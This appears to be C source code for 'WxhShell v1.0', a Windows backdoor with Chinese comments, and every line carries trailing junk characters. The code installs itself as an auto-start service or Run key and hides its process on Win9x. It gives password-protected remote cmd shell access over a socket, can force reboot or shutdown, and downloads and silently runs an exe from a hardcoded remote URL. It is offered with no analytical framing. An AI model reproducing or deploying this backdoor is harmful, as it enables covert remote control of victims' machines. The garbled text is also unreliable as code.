    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [S3X  
    else { Fv#ToT:QXe  
    closesocket(wsh); < 8WS YZ  
    ExitThread(0); s&8QRI.  
    } ?z Ms;  
    break; `9b D%M  
    } <(s+  
  // 获取shell s{< rc>  
  case 's': { X#+A?>Z]}<  
    CmdShell(wsh); 1wGd5>GDA  
    closesocket(wsh); NZdQz  
    ExitThread(0); {PYN3\N,  
    break; 64b9.5Bn  
  } 4y%N(^  
  // 退出 BXyZn0k  
  case 'x': { NoDq4>   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U:YT>U1Z  
    CloseIt(wsh); h1JG^w$ 5  
    break; @36^4E>h  
    } M7!&gFv8  
  // 离开 (w"zI!  
  case 'q': { O{SU,"!y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 63-`3R?;  
    closesocket(wsh); #Cbn"iYee  
    WSACleanup(); Z-]d_Y~m4  
    exit(1); +,c;Dff  
    break; =2->1<!x6<  
        } >/$Q:92T  
  } n'%*vdHK m  
  } o(|`atvK  
3vVhE,1N  
  // 提示信息 F N(&3Ull  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %)\Cwl   
} DRf~l9f  
  } B3XVhUP  
%Ljc#AVg  
  return; fN8A'p[  
} N#]f?6 *R  
<NT/+>:2  
// shell模块句柄 _xUiHX<  
int CmdShell(SOCKET sock) J"FKd3~:E  
{ NoZz3*j=  
STARTUPINFO si; .eq-i>  
ZeroMemory(&si,sizeof(si)); !=q {1\#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _qJ[~'m<^C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ORWdR.b  
PROCESS_INFORMATION ProcessInfo; oBKZ$&_h  
char cmdline[]="cmd"; 49Ht I9@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q.M3rRh  
  return 0; !4I?59  
} LNk 3=v2M  
1pO ;aG1O  
// 自身启动模式 q:1 1XPP  
int StartFromService(void) 6t/})Xv  
{ E(]yjZ/  
typedef struct bKG:_mWe w  
{ ~g>15b3  
  DWORD ExitStatus; Tff7SEP  
  DWORD PebBaseAddress; hMhD(X  
  DWORD AffinityMask; iT9cw`A^%  
  DWORD BasePriority; b LSI\  
  ULONG UniqueProcessId; ?aO%\<b  
  ULONG InheritedFromUniqueProcessId; +apIp(E+  
}   PROCESS_BASIC_INFORMATION; "LXLUa03  
My_fm?n  
PROCNTQSIP NtQueryInformationProcess; 4ol=YGCI_  
,MOB+i(3*u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |FPx8b;#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2tn%/gf'm  
BQ_\8Qt|  
  HANDLE             hProcess; 7{az %I$h  
  PROCESS_BASIC_INFORMATION pbi; sy/J+==  
][wS}~):  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nGX~G^mZ  
  if(NULL == hInst ) return 0; _Y\@{T;^Zb  
vk;>#yoox  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Me%W3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vaR0`F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,ulNap"R  
&WvJg#f  
  if (!NtQueryInformationProcess) return 0; br$!}7#=L  
^Fb"Is#S,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cr,o<  
  if(!hProcess) return 0; E3NYUHfZ  
K<Ct  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [h8F)  
vlzjALy  
  CloseHandle(hProcess); De:w(Rm  
pMa 3R3a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T7cT4PAW  
if(hProcess==NULL) return 0; \mWXr*;  
S)JZ b_  
HMODULE hMod; j cx/ZR  
char procName[255]; >`,v?<>+  
unsigned long cbNeeded; t#Yyo$9  
<uv{/L b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \UtUP#Y{t  
-b)p6>G-C  
  CloseHandle(hProcess); >+,1@R  
R&PQ[Xc  
if(strstr(procName,"services")) return 1; // 以服务启动 a7#Eyw^H{  
Hvor{o5|tB  
  return 0; // 注册表启动 1T}|c;fc  
} +".&A#wU  
/:awPYGH<1  
// 主模块 {fIH9+v  
int StartWxhshell(LPSTR lpCmdLine) UPN2p&gM  
{ ;}|.crMF  
  SOCKET wsl; nwcT8b 87J  
BOOL val=TRUE; 8Bhot,u'T  
  int port=0; s8eiq`6\H}  
  struct sockaddr_in door; r<C^hs&]  
o~es> ;  
  if(wscfg.ws_autoins) Install(); z{!wQ~ j  
&\!-d%||)  
port=atoi(lpCmdLine); B*DH^";t  
r OB\u|Pg  
if(port<=0) port=wscfg.ws_port; nV']^3b  
a[9;Okm #  
  WSADATA data; /_jApZz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T("Fh}  
NG5H?hVN=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?]h+En5z8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2$1rS}}  
  door.sin_family = AF_INET; Ej.D!@   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QW6k!ms$  
  door.sin_port = htons(port); jN5Sc0|b  
| G%MiYd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dF1Bo  
closesocket(wsl); *jA%.F  
return 1; Hyee#fB  
} 1egryp  
ZTt% 7K"L  
  if(listen(wsl,2) == INVALID_SOCKET) { $RA"NIZ:!  
closesocket(wsl); q &jW{  
return 1; tQ2*kE  
} 6{+~B2Ef  
  Wxhshell(wsl); =797;|B H  
  WSACleanup();  -U*XA  
$T3/*xN  
return 0; 5-]%D(y  
*+@/:$|U  
} 7*[>e7:A  
6e~+@S  
// 以NT服务方式启动 kO2im+y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WQ"ZQ  
{ #NL1N_B  
DWORD   status = 0; zROyG  
  DWORD   specificError = 0xfffffff; DlIfr6F  
Pu axS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T<!`~#kM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )(DV~1r=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p}(w"?2  
  serviceStatus.dwWin32ExitCode     = 0; Ii[rM/sG  
  serviceStatus.dwServiceSpecificExitCode = 0; MgtyO3GUAD  
  serviceStatus.dwCheckPoint       = 0; &V$'{  
  serviceStatus.dwWaitHint       = 0; R9=,T0Y p  
jl:O~UL6i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /9GqEQsfM  
  if (hServiceStatusHandle==0) return; c+4SGWmO  
+m>Kb edl  
status = GetLastError(); GD< Afni  
  if (status!=NO_ERROR) $L`7(0U-  
{ bWMM[pnL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <T0-m?D_$  
    serviceStatus.dwCheckPoint       = 0; R^8Opf_UN  
    serviceStatus.dwWaitHint       = 0; < W&~tVv  
    serviceStatus.dwWin32ExitCode     = status; 2 ] 4R`[#  
    serviceStatus.dwServiceSpecificExitCode = specificError; *xLMs(gg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zlFl{t  
    return; Bq:@ [pCQ  
  } OWq~BZ{  
53(m9YLk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w;#9 hW&  
  serviceStatus.dwCheckPoint       = 0; \LM'KD pP_  
  serviceStatus.dwWaitHint       = 0; 4>5%SzZT\3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jj$'DZk  
} x$s#';*  
_=}Y lR  
// 处理NT服务事件,比如:启动、停止 Y1 -cz:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qw_qGgbl  
{ _n{N3da  
switch(fdwControl) %8 4<@f&n]  
{ '`3-X];p  
case SERVICE_CONTROL_STOP: Ogjjjy84vM  
  serviceStatus.dwWin32ExitCode = 0; &"^A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Ba^Igb}  
  serviceStatus.dwCheckPoint   = 0; /!%P7F  
  serviceStatus.dwWaitHint     = 0; 8n&",)U  
  { EkTen:{G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vDBnWA  
  } ~*2PmD"+:  
  return; }.T$bj1B;V  
case SERVICE_CONTROL_PAUSE: (.n" J2qj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _$=xa6YA  
  break; '0o`<xW  
case SERVICE_CONTROL_CONTINUE: S2<(n,"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y*7ht{B  
  break; _k j51=  
case SERVICE_CONTROL_INTERROGATE: LI nN-b#  
  break; vys*=48g  
}; <!w-op2@ir  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dri1A%  
} {1SxM /  
oY0*T9vv+  
// 标准应用程序主函数  |u$AzI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -k<.Q=]<t  
{ @*2FG\c<  
c6lEWC:  
// 获取操作系统版本 kbMIMZC/G  
OsIsNt=GetOsVer(); gE$dz#t.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g#70Sg*d  
3\'.1p  
  // 从命令行安装 h hd n9n  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Ec$%  
3]c<7vdl  
  // 下载执行文件 ~F' $p  
if(wscfg.ws_downexe) { Ws1<Jt3/."  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jk1U p2#B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2nEj X\BY  
} FlkAo]  
J'7){C"G$  
if(!OsIsNt) { dmF<J>[  
// 如果时win9x,隐藏进程并且设置为注册表启动 c/x(v=LW  
HideProc(); $[|8bE  
StartWxhshell(lpCmdLine); L50`,,WF  
} [tBIABr  
else b(XhwkGVq  
  if(StartFromService()) GN~:rdd  
  // 以服务方式启动 H}}t )H  
  StartServiceCtrlDispatcher(DispatchTable); #Xn#e  
else $*@mxwMQ}  
  // 普通方式启动 , g6.d#c  
  StartWxhshell(lpCmdLine); [J*)r8ys  
AN.`tv  
return 0; 2ag]p  
} Xbu >8d?n  
Ot,sMRk'  
riBT5  
Y.hrU*[J0  
=========================================== +"p" ,Z  
]XP[tLY Y  
L4[ bm[x  
{{ wVM:1  
`9wz:s QtP  
MWB uMF  
" }$UuYO/i  
<4! w2vxG  
#include <stdio.h> +"SBt}1  
#include <string.h> Az.Y-O<$\  
#include <windows.h> TVjY8L9'h  
#include <winsock2.h> [S<DdTY9hZ  
#include <winsvc.h> i;\i4MT  
#include <urlmon.h> M!I:$DZt  
->j9(76"  
#pragma comment (lib, "Ws2_32.lib") Lv_6Mf(  
#pragma comment (lib, "urlmon.lib") 8XY4  
!IGVN:E  
#define MAX_USER   100 // 最大客户端连接数 (Bmjz*%M  
#define BUF_SOCK   200 // sock buffer {`3;Pd`  
#define KEY_BUFF   255 // 输入 buffer De^is^{  
#~#_) \l'F  
#define REBOOT     0   // 重启 nxH$$}9  
#define SHUTDOWN   1   // 关机 4 bJ3uIP#  
I&cb5j]C  
#define DEF_PORT   5000 // 监听端口 t^7R6y  
y k#:.5H  
#define REG_LEN     16   // 注册表键长度 YqDw*S{  
#define SVC_LEN     80   // NT服务名长度 2>H\arEstR  
1fC|_V(0  
// 从dll定义API P,v}Au( UI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _QErQ^`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sqb#U{E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xajjzl\b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @lmke>  
nTHP~]  
// wxhshell配置信息 )*_YeT&w.  
struct WSCFG { ]-AT(L >  
  int ws_port;         // 监听端口 Vl'=92t  
  char ws_passstr[REG_LEN]; // 口令 HML6<U-eS  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3^fZUldf  
  char ws_regname[REG_LEN]; // 注册表键名 !~mN"+u&  
  char ws_svcname[REG_LEN]; // 服务名 ,:v}gS?Uq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Z^( +  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -9Can4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~\oJrRYR`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nh+$'6yT%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {bNnhW*qOu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nY*ODL  
>^jm7}+hb  
}; w?5b:W,  
G!Uq#l>  
// default Wxhshell configuration W5x]bl#  
struct WSCFG wscfg={DEF_PORT, huQ1A0(no  
    "xuhuanlingzhe", iD]!PaFD`  
    1, '@W72ML.  
    "Wxhshell", )WFUAzuN,  
    "Wxhshell", ;0BCM(>Wo  
            "WxhShell Service", |FNP~5v  
    "Wrsky Windows CmdShell Service", d3![b1  
    "Please Input Your Password: ", C )P N  
  1, tl4;2m3w  
  "http://www.wrsky.com/wxhshell.exe", \e=@h!p  
  "Wxhshell.exe" %v|,-B7Yx  
    }; \(z)]D  
gr2zt&Z4  
// 消息定义模块 ,sc>~B@Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *|jqRfa"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eR}d"F4W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RM`8P5i]sF  
char *msg_ws_ext="\n\rExit."; 62zlO{ >rJ  
char *msg_ws_end="\n\rQuit."; kO5KZ;+N-  
char *msg_ws_boot="\n\rReboot..."; U{R*WB b  
char *msg_ws_poff="\n\rShutdown..."; c '(]n]a%  
char *msg_ws_down="\n\rSave to "; j[z\p~^  
<D 5QlAN  
char *msg_ws_err="\n\rErr!"; =X1$K_cN  
char *msg_ws_ok="\n\rOK!"; $DQ -.WI  
gz88$BT  
char ExeFile[MAX_PATH]; (&x[>):6?  
int nUser = 0; *;}!WDr  
HANDLE handles[MAX_USER]; '}OrFN  
int OsIsNt; !sLn;1l  
`hfwZ*s  
SERVICE_STATUS       serviceStatus; <W5F~K ;41  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]xS< \{og  
b&e? 6h^G  
// 函数声明 xA-G&oC]<T  
int Install(void); {:rU5 !n  
int Uninstall(void); ())|x[>JS+  
int DownloadFile(char *sURL, SOCKET wsh); rLVAI#ci=  
int Boot(int flag); 0p#36czqy  
void HideProc(void); Lr+2L_/v`  
int GetOsVer(void); r&H>JCRZ<=  
int Wxhshell(SOCKET wsl); ^]v}AEcmW  
void TalkWithClient(void *cs); %] Bb;0G  
int CmdShell(SOCKET sock); l >O]Cpt  
int StartFromService(void); "w A8J%:  
int StartWxhshell(LPSTR lpCmdLine); IGp-`%9  
cg$~.ytPK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C {'c_wX  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  q)%C|  
/TB_4{  
// 数据结构和表定义 6^wiEnA  
SERVICE_TABLE_ENTRY DispatchTable[] = C :e 'wmA  
{ 2z-&Ya Qu  
{wscfg.ws_svcname, NTServiceMain}, YGNX+6Lz  
{NULL, NULL} zxj!ihs<  
}; dXOjaS# ~  
{6KU.'#iF  
// 自我安装 5i#B?+Y  
int Install(void) c8yD-U/-  
{ 9sRP8Nj|  
  char svExeFile[MAX_PATH]; ?,Hk]Rl3  
  HKEY key; 8!T^KMfz  
  strcpy(svExeFile,ExeFile); UIyOn` d"  
|M0TG  
// 如果是win9x系统,修改注册表设为自启动 c#rbyx?5  
if(!OsIsNt) { 7IvCMb&%R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6qw_|A&g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Y:HVr,  
  RegCloseKey(key); - -]\z*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~#-`Qh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "zv+|_ZAfd  
  RegCloseKey(key); K@d`jb4T  
  return 0; Ge @d"  
    } omY?`(=  
  } |6uEf/*DX  
} CZ0 {*K:  
else { > Euput\  
qNvKlwR9;k  
// 如果是NT以上系统,安装为系统服务 a'A0CQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6)?TWr'Ke  
if (schSCManager!=0) 8pk5[=3Z  
{ 8m 9G^s`[  
  SC_HANDLE schService = CreateService IMrB!bo r  
  ( 'fgDe  
  schSCManager, ]f-e/8$`@  
  wscfg.ws_svcname, } K Ou  
  wscfg.ws_svcdisp, .a^/r'?  
  SERVICE_ALL_ACCESS, A8A+ImwO"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uIba{9tM"P  
  SERVICE_AUTO_START, A,iXiDb3pK  
  SERVICE_ERROR_NORMAL, w}E?FEe.  
  svExeFile, 1]kk  
  NULL, w%$n)7<*  
  NULL, 0lBl5k e  
  NULL, sG}9l1  
  NULL, )zt5`"/o  
  NULL aNwDMd^+  
  ); +6>Pp[%  
  if (schService!=0) 1E-$f  
  { `SU;TN0  
  CloseServiceHandle(schService); AHLDURv  
  CloseServiceHandle(schSCManager); {vU '>pp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "5e]-u'  
  strcat(svExeFile,wscfg.ws_svcname); 0(..]\p^d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zb3ir|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >LNl8X:Cz*  
  RegCloseKey(key); : Z.mM5  
  return 0;  ,cB`j7p(  
    } n|F`6.G  
  } .)o5o7H  
  CloseServiceHandle(schSCManager); c.XLEjV|  
} 6s uc0  
} w(@`g/b  
<6`,)(dj  
return 1; PK~okz4b  
} *r_.o;6  
WRnUF[y+)  
// 自我卸载 :DZiDJ@  
int Uninstall(void) E8503  
{ #2dmki"~(  
  HKEY key; DnTM#i:  
DQRt\!  
if(!OsIsNt) { 9#agI|d~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J d`NS3;*p  
  RegDeleteValue(key,wscfg.ws_regname); 6$z UFIk  
  RegCloseKey(key); NT nn!k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HsXFglQ  
  RegDeleteValue(key,wscfg.ws_regname); >SzTZ3!E  
  RegCloseKey(key); 6-^+btl)#  
  return 0; c=K M[s.  
  } d,>l;l  
} V2bod=&Lc  
} ~:0h o  
else { .=NK^  
dzcPSbbpt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '3xSzsDn  
if (schSCManager!=0) x^ Wgo`v)  
{ ,p2 Di  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); duM>( y  
  if (schService!=0) ,5/gNg  
  { $pD^O!I)?  
  if(DeleteService(schService)!=0) { H@6  
  CloseServiceHandle(schService); eD/?$@y  
  CloseServiceHandle(schSCManager); @tP,l$O&  
  return 0; Zs4N0N{  
  } #(A>yW702  
  CloseServiceHandle(schService); 4ASc`w*0  
  } Sz . _XY^  
  CloseServiceHandle(schSCManager); -V+fQGZe  
} ;<*VwXJR  
} 1wq 6E  
-}>Q0d)  
return 1; Z2ZS5a  
} c2i^dNp_  
+Y \#'KrA  
// 从指定url下载文件 l>:?U  
int DownloadFile(char *sURL, SOCKET wsh) "kL5HD]TC  
{ I7}[%(~Sf/  
  HRESULT hr; &2g1Oy~  
char seps[]= "/"; D]0#A|n F  
char *token; 7_|zMk.J*  
char *file; \;sUJr"$  
char myURL[MAX_PATH]; ]_ _M*  
char myFILE[MAX_PATH]; rzex"}/ly  
?$gEX@5h  
strcpy(myURL,sURL); Axcm~ !uf  
  token=strtok(myURL,seps); i\3`?d  
  while(token!=NULL)  R` N-^x  
  { -W oZwqh  
    file=token; #\"5:.H Oz  
  token=strtok(NULL,seps); mjw:Z,  
  } `fL$t0 "  
Ms$kL'/  
GetCurrentDirectory(MAX_PATH,myFILE); YlYTH_L>E  
strcat(myFILE, "\\"); 2#rF/!`^  
strcat(myFILE, file); TN0d fba[  
  send(wsh,myFILE,strlen(myFILE),0); avT>0b:  
send(wsh,"...",3,0); *v&g>Ni  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z)ObFJMG5  
  if(hr==S_OK) N#UyAm<9  
return 0; S |B7HS5  
else ){,8}(|  
return 1; 0>AA-~=-  
eHv/3"Og  
} ^ sz4rk  
e06r5%|.%  
// 系统电源模块 VJPt/Dy{  
int Boot(int flag) wWH5T}\  
{ \_+d*hHF~  
  HANDLE hToken; Bp b_y;E  
  TOKEN_PRIVILEGES tkp; &< ~`?-c  
jfI|( P  
  if(OsIsNt) { toP7b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zIlQqyOQ8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0R; ;ou  
    tkp.PrivilegeCount = 1; (l$bA_F \  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X09& S4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x&7!m  
if(flag==REBOOT) {  ]@<O!fS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1_F2{n:yp  
  return 0; x&kF;UC  
} Wx^L~[l  
else { BK-{z).)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2"13!s  
  return 0; b>o38(  
} jirxzj  
  } `M|fwlAJQ  
  else { X${k  
if(flag==REBOOT) { `"    
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9]|cs  
  return 0; @Gl=1  
} TT>;!nb  
else { T[c ;},  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eO*FoN  
  return 0; cm-! 6'`  
} "zYlddh  
} %SIbpk%  
_TkiI.'  
return 1; ZX'/[wAN)  
} 1YQ|KJ*K  
lh .p`^v  
// win9x进程隐藏模块 {6RT&w  
void HideProc(void) l.FkX  
{ uNLA/hL+n  
KecRjon~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  8*lVO2  
  if ( hKernel != NULL ) 'w&,3@Z  
  { P0|V1,)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c!j$ -Ovm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hX<0{pXM4  
    FreeLibrary(hKernel); S\mh{#Lpk  
  } 1*#64Y5F  
qA5tMZ^w  
return; RtN5\  
} Z+E@B>D7A^  
"*<9)vQ6|  
// 获取操作系统版本 $(G.P!/  
int GetOsVer(void) }ob#LC,  
{ EW|bs#l  
  OSVERSIONINFO winfo; ;QS-a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4y:yFTp  
  GetVersionEx(&winfo); l(*`,-pv:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gP? pfFhG  
  return 1; }5u$/c@f1  
  else :<!a.%=  
  return 0; +H8]5~',L%  
} TU^UR}=lP  
eqg|bc[i!t  
// 客户端句柄模块 &KT*rL  
int Wxhshell(SOCKET wsl) ,d$V-~2,  
{ yd'>Mw  
  SOCKET wsh; 5hg:@i',  
  struct sockaddr_in client; ;3 O0O  
  DWORD myID; 1o V\QK&  
g>cp;co9g  
  while(nUser<MAX_USER) =:uK$>[  
{ X=8y$Yy  
  int nSize=sizeof(client); }f/ 1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )|zLjF$  
  if(wsh==INVALID_SOCKET) return 1; VMZ\9IwI  
~#C7G\R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9-5H~<}fF  
if(handles[nUser]==0) Ho2#'lSKM  
  closesocket(wsh); &Y4S[-   
else %`?IY<  
  nUser++; **N{XxdN  
  } krFuEaO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6* (6>F5  
a~>+I~^K5q  
  return 0; 9'Le}`Gf  
} XShi[7  
-c{O!z6sX  
// 关闭 socket 'S;INs2|->  
void CloseIt(SOCKET wsh) &gR)Y3  
{ eVGO6 2|!  
closesocket(wsh); B<%cqz@  
nUser--; 0Q`Dp;a5&  
ExitThread(0); UP'~D]J  
} .nl!KzO6g  
V:s$V.{!  
// 客户端请求句柄  ltK\ )L  
void TalkWithClient(void *cs) >k }ea5+  
{ B<zoa=  
>g+yw1nC  
  SOCKET wsh=(SOCKET)cs; ~4fUaMT  
  char pwd[SVC_LEN]; P{-j ^'y  
  char cmd[KEY_BUFF]; 4YX/=  
char chr[1]; /H3z~PBa  
int i,j; U[,."w]T  
6V-u<FJ  
  while (nUser < MAX_USER) { *t=8^q(K[  
mE\sD<b  
if(wscfg.ws_passstr) { D<U^FT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C>wOoXjt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /N'0@ q  
  //ZeroMemory(pwd,KEY_BUFF); iI.pxo s  
      i=0; |qm_ESzl  
  while(i<SVC_LEN) { =HapCmrx8  
ZRHK?wg'#  
  // 设置超时 $lVR6|n  
  fd_set FdRead; W T~UEK'  
  struct timeval TimeOut; ,a 2(h  
  FD_ZERO(&FdRead); g\%;b3"#  
  FD_SET(wsh,&FdRead); Sqn|  
  TimeOut.tv_sec=8; /<C}v~r  
  TimeOut.tv_usec=0; ut j7"{'k|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fj;];1nt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CiF(   
G5A:C(r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EdcbWf7  
  pwd=chr[0]; QiKci%=SX  
  if(chr[0]==0xd || chr[0]==0xa) { J'}G~rB<<  
  pwd=0; ~?#>QN\\c  
  break; SbLm  
  } n#$sLXVy  
  i++; 5ir Ffr  
    } L)(JaZyV5  
>f$N G  
  // 如果是非法用户,关闭 socket #K#BNpG|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /|s~X@%K  
} p+7G  
;z2\ Q$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?qC6p|H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vbBNXy/  
Eqizx~eqq  
while(1) { {&dbxj-'  
f4 k  
  ZeroMemory(cmd,KEY_BUFF); ZNDn! Sj  
Ms=5*_J2Jk  
      // 自动支持客户端 telnet标准   _ ck)yY?7  
  j=0; 11VtC)  
  while(j<KEY_BUFF) { `^v=*&   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NMs 8^O|0  
  cmd[j]=chr[0]; r{cmw`WA/P  
  if(chr[0]==0xa || chr[0]==0xd) { DplS\}='s  
  cmd[j]=0; [x%[N)U3  
  break; r{>`"  
  } `uP:UQ9S  
  j++; =Gv*yR*]t  
    } ~%chF/H  
z`}z7e'>  
  // 下载文件 6.Jvqn  
  if(strstr(cmd,"http://")) { & zR\Rmpt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _sqj~|K  
  if(DownloadFile(cmd,wsh)) &L[i"1a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$}3=n34)  
  else Bo,>blspw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cs lZ;  
  } 'GI| t  
  else { %g_ )_ ~  
-=cxUDB  
    switch(cmd[0]) { TUBpRABH  
  {=%,NwPs  
  // 帮助 aP$it 6Z  
